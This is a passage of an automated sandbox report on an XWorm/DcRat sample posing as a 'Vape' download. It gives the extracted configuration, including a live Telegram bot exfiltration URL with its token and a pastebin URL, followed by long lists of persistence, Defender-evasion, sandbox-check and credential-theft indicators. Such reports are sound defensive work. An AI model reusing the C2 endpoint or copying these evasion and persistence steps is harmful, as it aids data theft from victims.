Analysis
-
max time kernel
352s -
max time network
395s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 14:58
Static task
static1
URLScan task
urlscan1
General
Malware Config
Extracted
xworm
-
Install_directory
%AppData%
-
install_file
Microsoft_WindowsDefender.exe
-
pastebin_url
https://pastebin.com/raw/dxKNAdeE
-
telegram
https://api.telegram.org/bot7013809678:AAEFwh-OW3w4YnEldOGR6NvGudG5gj8iF0Q/sendMessage?chat_id=5073217277
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/4372-5614-0x0000000000800000-0x0000000000818000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\Msvchost.exe family_xworm -
Process spawned unexpected child process 30 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5448 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5212 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5408 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2140 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6660 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3904 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4984 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6972 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2076 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 976 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6164 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2288 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7000 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3784 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6216 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3828 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2736 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2692 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7140 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 892 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5368 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1728 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6664 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5516 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1100 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6724 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5764 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5600 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5360 6424 schtasks.exe wmiprvse.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1972 6424 schtasks.exe wmiprvse.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe dcrat behavioral1/memory/3180-5890-0x0000000000970000-0x0000000000AFC000-memory.dmp dcrat behavioral1/memory/5688-6990-0x0000000000590000-0x000000000071C000-memory.dmp dcrat C:\Recovery\WindowsRE\smss.exe dcrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 6584 powershell.exe 6792 powershell.exe 4092 powershell.exe 5428 powershell.exe 4056 powershell.exe 2316 powershell.exe 3572 powershell.exe -
Creates new service(s) 2 TTPs
-
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Msvchost.exeWScript.exeIntoref.exeVape.exeMicrosoft_Protection.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Msvchost.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Intoref.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Vape.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation Microsoft_Protection.exe -
Drops startup file 2 IoCs
Processes:
Msvchost.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Msvchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft_WindowsDefender.lnk Msvchost.exe -
Executes dropped EXE 12 IoCs
Processes:
Vape.exeMicrosoft_Protection.exeMicrosoft_crypt.exeMicrosoft_R.exeMicrosoft_R.exeMicrosoft_M.exeMsvchost.exeMicrosoft_M.exeIntoref.exelhhsgwktkatl.exerar.exerar.exepid process 5972 Vape.exe 5504 Microsoft_Protection.exe 6892 Microsoft_crypt.exe 5044 Microsoft_R.exe 5864 Microsoft_R.exe 5068 Microsoft_M.exe 4372 Msvchost.exe 5836 Microsoft_M.exe 3180 Intoref.exe 1840 lhhsgwktkatl.exe 4064 rar.exe 7052 rar.exe -
Loads dropped DLL 32 IoCs
Processes:
Microsoft_R.exeMicrosoft_M.exepid process 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5864 Microsoft_R.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe 5836 Microsoft_M.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral1/memory/5864-5584-0x00007FFB45C10000-0x00007FFB461F9000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\python311.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_ctypes.pyd upx behavioral1/memory/5836-5664-0x00007FFB5EB00000-0x00007FFB5EB0F000-memory.dmp upx behavioral1/memory/5836-5663-0x00007FFB58B20000-0x00007FFB58B43000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_sqlite3.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_socket.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_queue.pyd upx behavioral1/memory/5864-5672-0x00007FFB47D40000-0x00007FFB47EB0000-memory.dmp upx behavioral1/memory/5864-5680-0x00007FFB47C20000-0x00007FFB47D3C000-memory.dmp upx behavioral1/memory/5864-5679-0x00007FFB58AF0000-0x00007FFB58AFD000-memory.dmp upx behavioral1/memory/5864-5678-0x00007FFB579C0000-0x00007FFB579D4000-memory.dmp upx behavioral1/memory/5836-5700-0x00007FFB417E0000-0x00007FFB41DC9000-memory.dmp upx behavioral1/memory/5836-5712-0x00007FFB57C50000-0x00007FFB57C5D000-memory.dmp upx behavioral1/memory/5836-5715-0x00007FFB47B60000-0x00007FFB47C18000-memory.dmp upx behavioral1/memory/5836-5714-0x00007FFB3EB90000-0x00007FFB3EF09000-memory.dmp upx behavioral1/memory/5836-5718-0x00007FFB57A50000-0x00007FFB57A5D000-memory.dmp upx behavioral1/memory/5836-5721-0x00007FFB45A10000-0x00007FFB45B2C000-memory.dmp upx behavioral1/memory/5864-5719-0x00007FFB578F0000-0x00007FFB57913000-memory.dmp upx behavioral1/memory/5864-5875-0x00007FFB57BC0000-0x00007FFB57BD9000-memory.dmp upx behavioral1/memory/5836-7143-0x00007FFB46860000-0x00007FFB469D0000-memory.dmp upx behavioral1/memory/5836-7142-0x00007FFB57160000-0x00007FFB57183000-memory.dmp upx behavioral1/memory/5836-7144-0x00007FFB56D40000-0x00007FFB56D59000-memory.dmp upx behavioral1/memory/5864-5877-0x00007FFB47340000-0x00007FFB476B9000-memory.dmp upx behavioral1/memory/5864-5876-0x00007FFB57890000-0x00007FFB578BE000-memory.dmp upx behavioral1/memory/5864-5878-0x00007FFB572D0000-0x00007FFB57388000-memory.dmp upx behavioral1/memory/5864-5720-0x00007FFB47D40000-0x00007FFB47EB0000-memory.dmp upx behavioral1/memory/5836-5717-0x00007FFB56B50000-0x00007FFB56B64000-memory.dmp upx behavioral1/memory/5836-5716-0x00007FFB58B20000-0x00007FFB58B43000-memory.dmp upx behavioral1/memory/5836-5713-0x00007FFB56BB0000-0x00007FFB56BDE000-memory.dmp upx behavioral1/memory/5864-5711-0x00007FFB5B7C0000-0x00007FFB5B7E3000-memory.dmp upx behavioral1/memory/5836-5710-0x00007FFB56D40000-0x00007FFB56D59000-memory.dmp upx behavioral1/memory/5836-5699-0x00007FFB46860000-0x00007FFB469D0000-memory.dmp upx behavioral1/memory/5836-5698-0x00007FFB57160000-0x00007FFB57183000-memory.dmp upx behavioral1/memory/5864-5697-0x00007FFB45C10000-0x00007FFB461F9000-memory.dmp upx behavioral1/memory/5836-5696-0x00007FFB57190000-0x00007FFB571A9000-memory.dmp upx behavioral1/memory/5836-5695-0x00007FFB571B0000-0x00007FFB571DD000-memory.dmp upx behavioral1/memory/5864-5677-0x00007FFB572D0000-0x00007FFB57388000-memory.dmp upx behavioral1/memory/5864-5676-0x00007FFB47340000-0x00007FFB476B9000-memory.dmp upx behavioral1/memory/5864-5675-0x00007FFB57890000-0x00007FFB578BE000-memory.dmp upx behavioral1/memory/5864-5674-0x00007FFB5B420000-0x00007FFB5B42D000-memory.dmp upx behavioral1/memory/5864-5673-0x00007FFB57BC0000-0x00007FFB57BD9000-memory.dmp upx behavioral1/memory/5864-5671-0x00007FFB578F0000-0x00007FFB57913000-memory.dmp upx behavioral1/memory/5864-5670-0x00007FFB5B320000-0x00007FFB5B339000-memory.dmp upx behavioral1/memory/5864-5669-0x00007FFB57CA0000-0x00007FFB57CCD000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\select.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\libssl-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\libcrypto-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50682\libffi-8.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI50442\_ssl.pyd upx behavioral1/memory/5864-5626-0x00007FFB60900000-0x00007FFB6090F000-memory.dmp upx behavioral1/memory/5864-5624-0x00007FFB5B7C0000-0x00007FFB5B7E3000-memory.dmp upx behavioral1/memory/5836-5620-0x00007FFB417E0000-0x00007FFB41DC9000-memory.dmp upx behavioral1/memory/5836-7163-0x00007FFB47B60000-0x00007FFB47C18000-memory.dmp upx behavioral1/memory/5836-7162-0x00007FFB3EB90000-0x00007FFB3EF09000-memory.dmp upx behavioral1/memory/5836-7161-0x00007FFB56BB0000-0x00007FFB56BDE000-memory.dmp upx behavioral1/memory/5836-7177-0x00007FFB45A10000-0x00007FFB45B2C000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Msvchost.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft_WindowsDefender = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft_WindowsDefender.exe" Msvchost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1572 ip-api.com -
Drops file in System32 directory 4 IoCs
Processes:
Microsoft_crypt.exepowershell.exelhhsgwktkatl.exedescription ioc process File opened for modification C:\Windows\system32\MRT.exe Microsoft_crypt.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe lhhsgwktkatl.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
Microsoft_crypt.exelhhsgwktkatl.exedescription pid process target process PID 6892 set thread context of 2252 6892 Microsoft_crypt.exe schtasks.exe PID 1840 set thread context of 3712 1840 lhhsgwktkatl.exe dialer.exe PID 1840 set thread context of 5756 1840 lhhsgwktkatl.exe dialer.exe PID 1840 set thread context of 1696 1840 lhhsgwktkatl.exe dialer.exe -
Drops file in Program Files directory 11 IoCs
Processes:
Intoref.exedescription ioc process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\explorer.exe Intoref.exe File created C:\Program Files (x86)\Windows Photo Viewer\ja-JP\Microsoft_R.exe Intoref.exe File opened for modification C:\Program Files (x86)\Internet Explorer\it-IT\explorer.exe Intoref.exe File created C:\Program Files (x86)\Internet Explorer\it-IT\7a0fd90576e088 Intoref.exe File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Idle.exe Intoref.exe File created C:\Program Files (x86)\Windows Sidebar\Gadgets\6ccacd8608530f Intoref.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\7a0fd90576e088 Intoref.exe File created C:\Program Files\Windows Media Player\WmiPrvSE.exe Intoref.exe File created C:\Program Files\Windows Media Player\24dbde2999530e Intoref.exe File created C:\Program Files (x86)\Windows Photo Viewer\ja-JP\2dd33e406c384d Intoref.exe File created C:\Program Files (x86)\Internet Explorer\it-IT\explorer.exe Intoref.exe -
Drops file in Windows directory 2 IoCs
Processes:
Intoref.exedescription ioc process File created C:\Windows\PrintDialog\microsoft.system.package.metadata\Autogen\unsecapp.exe Intoref.exe File created C:\Windows\PrintDialog\microsoft.system.package.metadata\Autogen\29c1c3cc0f7685 Intoref.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 4120 sc.exe 344 sc.exe 456 sc.exe 1452 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Driver wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Driver wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe -
Checks processor information in registry 2 TTPs 16 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exefirefox.exewmiprvse.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 31 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 7000 schtasks.exe 7140 schtasks.exe 6664 schtasks.exe 976 schtasks.exe 2736 schtasks.exe 5368 schtasks.exe 5360 schtasks.exe 6216 schtasks.exe 2288 schtasks.exe 3784 schtasks.exe 5516 schtasks.exe 5764 schtasks.exe 5408 schtasks.exe 3828 schtasks.exe 1728 schtasks.exe 5600 schtasks.exe 2140 schtasks.exe 6660 schtasks.exe 3904 schtasks.exe 6164 schtasks.exe 1972 schtasks.exe 5448 schtasks.exe 4984 schtasks.exe 2076 schtasks.exe 2692 schtasks.exe 892 schtasks.exe 6972 schtasks.exe 1100 schtasks.exe 6724 schtasks.exe 2252 schtasks.exe 5212 schtasks.exe -
Detects videocard installed 1 TTPs 6 IoCs
Uses WMIC.exe to determine videocard installed.
Processes:
WMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exeWMIC.exepid process 1916 WMIC.exe 6652 WMIC.exe 2680 WMIC.exe 5356 WMIC.exe 2692 WMIC.exe 6352 WMIC.exe -
Enumerates processes with tasklist 1 TTPs 8 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exepid process 1604 tasklist.exe 3264 tasklist.exe 6412 tasklist.exe 3004 tasklist.exe 4668 tasklist.exe 5580 tasklist.exe 5032 tasklist.exe 3096 tasklist.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.
Processes:
systeminfo.exesysteminfo.exepid process 2400 systeminfo.exe 5608 systeminfo.exe -
Modifies data under HKEY_USERS 50 IoCs
Processes:
powershell.exedialer.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe -
Modifies registry class 3 IoCs
Processes:
firefox.exeMicrosoft_Protection.exeIntoref.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings firefox.exe Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings Microsoft_Protection.exe Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings Intoref.exe -
NTFS ADS 2 IoCs
Processes:
firefox.exedescription ioc process File created C:\Users\Admin\Downloads\Vape v4.12.zip:Zone.Identifier firefox.exe File created C:\Users\Admin\Downloads\Vape.exe:Zone.Identifier firefox.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeMicrosoft_crypt.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeIntoref.exedialer.exelhhsgwktkatl.exepowershell.exepowershell.exepowershell.exepid process 6792 powershell.exe 6680 powershell.exe 6680 powershell.exe 6792 powershell.exe 4092 powershell.exe 4092 powershell.exe 5796 powershell.exe 5796 powershell.exe 4092 powershell.exe 5796 powershell.exe 5428 powershell.exe 5428 powershell.exe 6892 Microsoft_crypt.exe 4056 powershell.exe 4056 powershell.exe 4500 powershell.exe 4500 powershell.exe 4692 powershell.exe 4692 powershell.exe 3572 powershell.exe 3572 powershell.exe 2316 powershell.exe 2316 powershell.exe 4500 powershell.exe 4056 powershell.exe 4056 powershell.exe 4692 powershell.exe 3572 powershell.exe 2316 powershell.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 